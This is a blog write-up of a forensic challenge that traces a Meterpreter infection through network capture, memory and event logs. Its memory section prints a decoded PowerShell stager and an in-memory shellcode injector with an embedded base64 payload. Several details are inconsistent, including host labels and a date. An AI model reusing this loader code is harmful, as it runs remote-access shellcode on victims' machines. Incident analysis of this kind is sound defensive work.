DEV Community

loading...

The Case of the Missing Szechuan Sauce: investigation notes

chris
writing things down before I forget them
・10 min read

In this article, we are going to solve the challenge of the Case of the Missing Szechuan Sauce proposed by DFIRMadness . This is a Digital Forensic and Incident Response (DFIR) challenge where we will have to investigate the memory and the traces left by an infection on a server and a endpoint computer.

Beyond tools and technical issues, the biggest challenge is the method. Indeed, being able to navigate the large amount of data that we have was the biggest difficulty.

So for that, we started from the network capture and pivoted from theories to theories until we could build a profile, timeframe and explanation of what happened. At some point, we kinda stop because we felt we could go deeper but it was unnecessary.

Network capture

To make sense of the network capture, we used a tool called Brim.

Right away and from the overview quick search, we can identify a couple of endpoints and some malicious traffic.

Brim 1

Here are the first indicators from a preliminary analysis:

  • timestamp 7h span between 2020/09/18 21:58:07 and 2020/09/19 05:38:57 UTC
  • 10.42.85[.]10 is Domain Controller (Citadel)
  • 10.42.85[.]115 is Desktop
  • 194.61.24[.]102 is Desktop
  • 203.78.103[.]109 is malicious (virustotal)

Pulling the time details of those indicators, we can get a better idea of the attack times.

Brim 2
Brim 3

Here are the first ideas:

  • there were connections between the malicious IP and the internal IPs on 2021-09-19 around 2:25
  • we don't have more information after 2:56
  • both of the IPs have connections to the malicious IP

If we look into the details of one of the "network trojan" alert, we can carve out a program called coreupdater[.]exe which seems far from legitimate.

In the next screenshot, we can see that the malicious executable files is passed from what we have identified as the Desktop (10.42.85[.]10) and one IP we identified as the Desktop (194.61.24[.]102).

Brim 4

Thus, we can suppose there was an implant on the 194 computer and then pivoted towards the DC. However, the timestamps for the moment don't make quite the whole story based on the analysis we go from Brim.

Moreover, we know that coreupdater[.]exe is a Meterpreter binary thus we can look for more possible techniques linked with that tool. Plus, we observed Kerberos traffic with an Administrator request. This could mean that the attacker made a privilege escalation on the desktop.

So, here are the things we need to prove in the next steps:

  • How was the Desktop infected?
  • How did the attacker elevate its privilege?
  • When was the first sight of coreupdater[.]exe on the Desktop?
  • What kind of malware is coreupdater[.]exe?

Malware Analysis

Here are the general overview of coreupdater[.]exe that we carved out of the network capture:

Malware 1

Looking a bit about the functions, we can see a little amount of function, it probably mean the malware is packed.

Malware 2

So for the next part, we used a dynamic analysis service:

Malware 3
Malware 4

Here are some detection:

We are not going to dwell too much on it as we already know this is Meterpreter. However, some of those information are going to be important when we'll look into the memory and the hard drive image.

Memory Analysis

In this section, the goal of the work is to extract artifacts and try to build up the trail that we are going to follow in the last part of the analysis: logs.

Domain Controller

vol3 -f citadeldc01.mem windows.pstree.PsTree

Memory 1

coreupdater[.]exe is launched with the process 3644 and the parent process 2244. None of those number can be seen in the tree. The launch date is 2020-09-19 at 3:56:37 UTC which is the last moment detection we had in the network capture.

vol3 -f citadeldc01.mem windows.netscan.NetScan | tee netscan.out

cat netscan.out | grep "ESTABLISHED"
cat netscan.out | grep "coreupdater"
Enter fullscreen mode Exit fullscreen mode

Memory 2

Now looking at the connection scan, we can see the coreupdater[.]exe file that was served with the malicious IP.

In case we didn't had the malware we could extract it with the following commands:

vol3 -f citadeldc01.mem windows.malfind.MalFind

vol3 -f citadeldc01.mem windows.malfind.MalFind --dump
Enter fullscreen mode Exit fullscreen mode

Moreover, you can run clamscan -o * in the dump folder to see if there is a possible detection on your virus. Which for our case we have:

Win.Exploit.Meterpreter-9752338-0 FOUND
Enter fullscreen mode Exit fullscreen mode

If we look into registry keys, we find a suspicious key:

Memory 5

We can dump the content of the key with:

vol3 -f citadelledc01.mem windows.registry.printkey.PrintKey --key "9sEoCawv" | tee regkey.out
Enter fullscreen mode Exit fullscreen mode

The content of this key has its content encoded in base64:

Memory 6

Here is the decoded value of this first content:

if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIACltZV8CA7VWa2+bSBT9nEj5D6iyBCiOjV2nzUaqtIAhxjWJKTZ27FoVhjFMPIADQ2zS7X/fOzakqZrstistQmIe93numbms8tijOIm53ccl4b6eHB8N3dSNOKEW33TrXC0ZjAPx6AjWa7u73ZT7wAlzebPpJpGL48XlpZqnKYrpYd64QlTOMhQtCUaZIHJ/cZMQpejsZnmHPMp95WpfGlckWbqkFCtU1wsRdybHPtsbJJ7LomnYG4KpwH/+zIvzs9aiod3nLskE3i4yiqKGTwgvct9E5nBUbJDAm9hLkyxZ0cYEx2/bjXGcuSt0DdYekIlomPgZL0IW8KaI5mnM7fNhBg7bAg/DYZp4su+nKMv4OjdnpueLxZ/CvPT7KY8pjlDDiClKk42N0gfsoazRc2OfoE9otQAtm6Y4DhaiCGIPyRoBlDkhde53zAjXaFuh9qtKwnMlkBrSVKxDIV/I00z8nKCDJv9CoKz4IjwVAQC5byfHJ8erii33xOmZz+kCo6P5fowgPGGYZHgv+IGT6pwJjlyapAVMa6M0R+LiCVyuthniUVF/3UCrkgbZtAULcyfB/gIUyoLWAm29s9jG68zsohWOUbeI3Qh7FfmEl2BGK4L2STYqsWuISeDLDeR3EUGBSxlwrNo/qWkRpk+6So6Jj1LZg1JlEBVUUfwxmEMtBN6ITRQBRoc50K+2AsqjSrqkeVF5Z3MQ4lXiZlmdG+Zw5rw6ZyOXIL/OyXGGyy05p8l+yH8P18wJxZ6b0crcQnwCsnSoJnFG09yDukHyI3uDPOwShkWd62EfKYWNg8ox/yISqksIHAWw9ACVgBWGgE0ZG1KI8VB5sWEjakQbgiIQ2h9/nbgBHPaS8Xv+uAHy+Z9irCh94C+Do8LhWYRQY5sktM45OKVwjTBo09Z/dP/s/jgEoqaorIZQnZK5UlBG7VqQYsbKEpg9DCkFCPQ0iRQ3Q+86h7tCeNPUcPd82E0eZXg0/ZPlKPbYmRmm3ye2Qe1bDQ/GYWjglhHAvBhrwZBKm4+jUa9vd3ty2t2FK9nIDK2nFFZLkb0efu/0lfEY9LA6sO52huwrUTANbtWtMQynBjhSB4ERwFcxQk+RZlKgSLo6sJVQw5Ic2FbP6rRmRvOCKPjRNmy5N3ny9+RH63R6091Ivjb7cqjf+Hqrre/110x/tr4adLX93GNz6zbTsAZ+NP3WckI0cTbKRNNnlrMxgtNtYDmDZkcPFVg38G6wsZvwtFr9h9h/NMnFownhWs6sj9HMCFARyJYs27cxsZdbVZav3hfSebwc62NYW4+MeGctN6Zf3PaafzgmRptEtjRZ1gmcykh2t91ma5IolnNujTVpV4yl3Va7a2413N+uy+/46t27oLnqDJuObcQ9N1Qg3qLfWeP+KexFriPdrpoOw6+rxc3HeErcodpKyLLZGuPue0UxMOpfmx65VyBnsHFuLRO17YUriMkILqxgmsRtdw12J4EM0UF+UOdV3wAdJSd4PT6dMlv9rRT1dxKLM+pfQGztMgaZxsa0CfHJva6txle2MW37SFeap96HN4yzQNpa0HvGxNdaiemmWegSYCj0iOpm0JNUL6/9YYKZhiDsfxbWKI0RgV4L3bg6WzIhice6zqFBQMs7NCLWF8cwfNt+cSRyT4Li93ZULV1eziBMOLBwnhoDFAc0rEu7t5IErUXadSTI8dczU5NNITBLddaZAJfSLtnbFdn5raEv9/T/hau8NUL4+P8K1/e1f9j9JQilOkv4p8UfF34Lzt/OfOJiCpI2XHsEHVrvKwCU1Hj2e8LqApVflQ/7v7zJ6dk1/LWcHP8N+iP4ZsoKAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);
Enter fullscreen mode Exit fullscreen mode

More base64! This code will get a new encoded process that we can decode again to:

function xKbl {
    Param ($nOD, $oLUg)
    $xjxX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    return $xjxX.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($xjxX.GetMethod('GetModuleHandle')).Invoke($null, @($nOD)))), $oLUg))
}

function qlVHM {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $pPiTy,
        [Parameter(Position = 1)] [Type] $r1 = [Void]
    )

    $gEkxQ = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $gEkxQ.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $pPiTy).SetImplementationFlags('Runtime, Managed')
    $gEkxQ.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $r1, $pPiTy).SetImplementationFlags('Runtime, Managed')

    return $gEkxQ.CreateType()
}

[Byte[]]$gri = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG7y05nbUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoBQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0DEn/znXlaPC1olb/1UiD7BBIieJNMclqBEFYSIn5QboC2chf/9VIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//VSAHDSCnGSIX2deFB/+c=")

$gH = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xKbl kernel32.dll VirtualAlloc), (qlVHM @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $gri.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($gri, 0, $gH, $gri.length)

$e_qt = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xKbl kernel32.dll CreateThread), (qlVHM @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$gH,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xKbl kernel32.dll WaitForSingleObject), (qlVHM @([IntPtr], [Int32]))).Invoke($e_qt,0xffffffff) | Out-Null
Enter fullscreen mode Exit fullscreen mode

This is a a part where our knowledge of Windows internals are getting their limits. From what we could understand here is that this code is going to inject something in memory. The exact method of this exploit is not known to us, we'll have to deal with this.

It's possible that this was a process injection generated by Meterpreter. However, how was that triggered?

Desktop

vol3 -f DESKTOP-SDN1RTP.mem windows.pstree.PsTree
Enter fullscreen mode Exit fullscreen mode

This command doesn't work for some page fault error.

vol3 -f DESKTOP-SDN1RTP.mem windows.netstat.NetStat
Enter fullscreen mode Exit fullscreen mode

Memory 3

We can see here the first contact with the malicious IP address.

vol3 -f DESKTOP-SDN1RTP.mem windows.registry.printkey.PrintKey
Enter fullscreen mode Exit fullscreen mode

Memory 4

Here we can find a new finding: a suspicious registry key that we saw as well in the DC.

However, Volatility seemed to bug trying to get the key value. So this is something we are going to leave when we analyse the whole disk memory.

From here, we have the following questions:

  • For the Desktop, how did the attacker got in? What was the initial access vector?
  • For the Desktop, how did the attacker elevate its privileges?
  • For the DC, how did the attacker pivoted from one station to another?

Disk Image

Desktop

Log Analysis

We could mount the disk images and look around but for the moment we are going to create log timelines and connect the dots from the logs that we will retrieve. Here we are going to focus on the time slice that we found during the first part of the investigation and try to get as much information as we can.

log2timeline.py --parsers list


log2timeline.py --parsers="winevtx" --status_view window desktop-log.dump IMAGE.E01
Enter fullscreen mode Exit fullscreen mode

We just took the EVTX parser as we have some knowledge on how to look into those.

Let's filter through our date to find the culprit:

psort.py --output_time_zone 'UTC' -o l2tcsv -w desktop-04-full.csv desktop-04.dump
Enter fullscreen mode Exit fullscreen mode

From the EVTX, we know that coreupdater[.]exe was installed at 2020-09-19 at 03:42:42 UTC.

5871:09/19/2020,03:42:42,UTC,M..B,EVT,WinEVTX,Content Modification Time; Creation Time,Administrator,DESKTOP-SDN1RPT,[7045 / 0x1b85] Strings: ['c
oreupdater'  'C:\\Windows\\System32\\coreupdater....,[7045 / 0x1b85] Source Name: Service Control Manager Message string: A service was installed
in the system.\n\nService Name:  coreupdater\nService File Name:  C:\Windows\System32\coreupdater.exe\nService Type:  user mode service\nService S
tart Type:  auto start\nService Account:  LocalSystem Strings: ['coreupdater'  'C:\\Windows\\System32\\coreupdater.exe'  'user mode service'  'aut
o start'  'LocalSystem'] Computer Name: DESKTOP-SDN1RPT.C137.local Record Number: 958 Event Level: 4,2,NTFS:\Windows\System32\winevt\Logs\System.e
vtx,27975,-,winevtx,message_identifier: 1073748869; recovered: False; sha256_hash: 638e689af45a8e6597bba27c18c53fc304003725f89ff33111c1aa7d46ae27d
d; user_sid: S-1-5-21-2232410529-1445159330-2725690660-500; xml_string: <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">-  <S
ystem>-    <Provider Name="Service Control Manager" Guid="{555908d1-a6d7-4695-8e1e-26931d2012f4}" EventSourceName="Service Control Manager"/>-
<EventID Qualifiers="16384">7045</EventID>-    <Version>0</Version>-    <Level>4</Level>-    <Task>0</Task>-    <Opcode>0</Opcode>-    <Keywords>0
x8080000000000000</Keywords>-    <TimeCreated SystemTime="2020-09-19T03:42:42.676537200Z"/>-    <EventRecordID>958</EventRecordID>-    <Correlatio
n/>-    <Execution ProcessID="616" ThreadID="5772"/>-    <Channel>System</Channel>-    <Computer>DESKTOP-SDN1RPT.C137.local</Computer>-    <Securi
ty UserID="S-1-5-21-2232410529-1445159330-2725690660-500"/>-  </System>-  <EventData>-    <Data Name="ServiceName">coreupdater</Data>-    <Data Na
me="ImagePath">C:\Windows\System32\coreupdater.exe</Data>-    <Data Name="ServiceType">user mode service</Data>-    <Data Name="StartType">auto st
art</Data>-    <Data Name="AccountName">LocalSystem</Data>-  </EventData>-</Event>-
Enter fullscreen mode Exit fullscreen mode

So here we know more information, for example the path where the binary is stored and that is has been set up as an autostart thus here we have our persistence.

Users

Here we can see the name the users of the Desktop, interestingly, there is one user called Admin and one Administrator. It is possible that one is bogus. We know that there as an authentication request between the Desktop and the DC with the Administrator string. We are not sure how to verify that part though.

So we still haven't answered the question on how did the attacker got in, we aren't exactly sure how to verify this. But that could be for a latter time, we have enough material to answer all the basic questions and that seems good enough.

Questions

Questions to Answer / Goals

What’s the Operating System of the Server?
Enter fullscreen mode Exit fullscreen mode

Windows 2012 R2 x64 (Unsure)

What’s the Operating System of the Desktop?
Enter fullscreen mode Exit fullscreen mode

Windows 2012 R2 x64

What was the local time of the Server?
Enter fullscreen mode Exit fullscreen mode

UTC -6

Was there a breach?
Enter fullscreen mode Exit fullscreen mode

Yes.

What was the initial entry vector (how did they get in)?
Enter fullscreen mode Exit fullscreen mode

Meterpreter was used, but initial access is still unsure (TODO)

Was malware used? If so what was it? If there was malware answer the following:
    What process was malicious?
Enter fullscreen mode Exit fullscreen mode

coreupdater.exe

    Identify the IP Address that delivered the payload.
    What IP Address is the malware calling to?
Enter fullscreen mode Exit fullscreen mode

203.78.103.109:443

    Where is this malware on disk?
Enter fullscreen mode Exit fullscreen mode

C:\Windows\System32\coreupdater.exe

    When did it first appear?
Enter fullscreen mode Exit fullscreen mode

2020-9-19, 03:42:42 UTC

    Did someone move it?
Enter fullscreen mode Exit fullscreen mode

Not that we know it.

    What were the capabilities of this malware?
Enter fullscreen mode Exit fullscreen mode

Process injection.

    Is this malware easily obtained?
Enter fullscreen mode Exit fullscreen mode

Yes.

    Was this malware installed with persistence on any machine?
        When?
Enter fullscreen mode Exit fullscreen mode

2020-9-19, 03:42:42 UTC

        Where?
Enter fullscreen mode Exit fullscreen mode

Autoruns

What malicious IP Addresses were involved?
    Were any IP Addresses from known adversary infrastructure?
Enter fullscreen mode Exit fullscreen mode

Yes

    Are these pieces of adversary infrastructure involved in other attacks
    around the time of the attack?
Enter fullscreen mode Exit fullscreen mode

Detection is spoiled by other exercises.

Did the attacker access any other systems?
    How?
Enter fullscreen mode Exit fullscreen mode

Kerberos Administrator ticket.

    When?
Enter fullscreen mode Exit fullscreen mode

2020-09-19T02:56:03.855

    Did the attacker steal or access any data?
        When?
Enter fullscreen mode Exit fullscreen mode

Probably, we don't know how to verify that.

What was the network layout of the victim network?
Enter fullscreen mode Exit fullscreen mode

Internet <-> Desktop <-> DC

What architecture changes should be made immediately?
Enter fullscreen mode Exit fullscreen mode

Prevent DC to be able to be accessible from the Internet.

Did the attacker steal the Szechuan sauce? If so, what time?
Enter fullscreen mode Exit fullscreen mode

We don't know how to verify that.

Did the attacker steal or access any other sensitive files? If so, what times?
Enter fullscreen mode Exit fullscreen mode

We don't know how to verify that.

Finally, when was the last known contact with the adversary?
Enter fullscreen mode Exit fullscreen mode

2020-09-19T04:08:45.783

Conclusion

This was a fun ride, I think I still have to learn a bit more about how to verify a file access in the Windows log but building up from the PCAP and the Memory was a good fun. At some point, I was feeling I was looking into circles and searching for things I knew were there. But in the end, what matters is the learning process.

Let me know if you have questions or comments!

Discussion (0)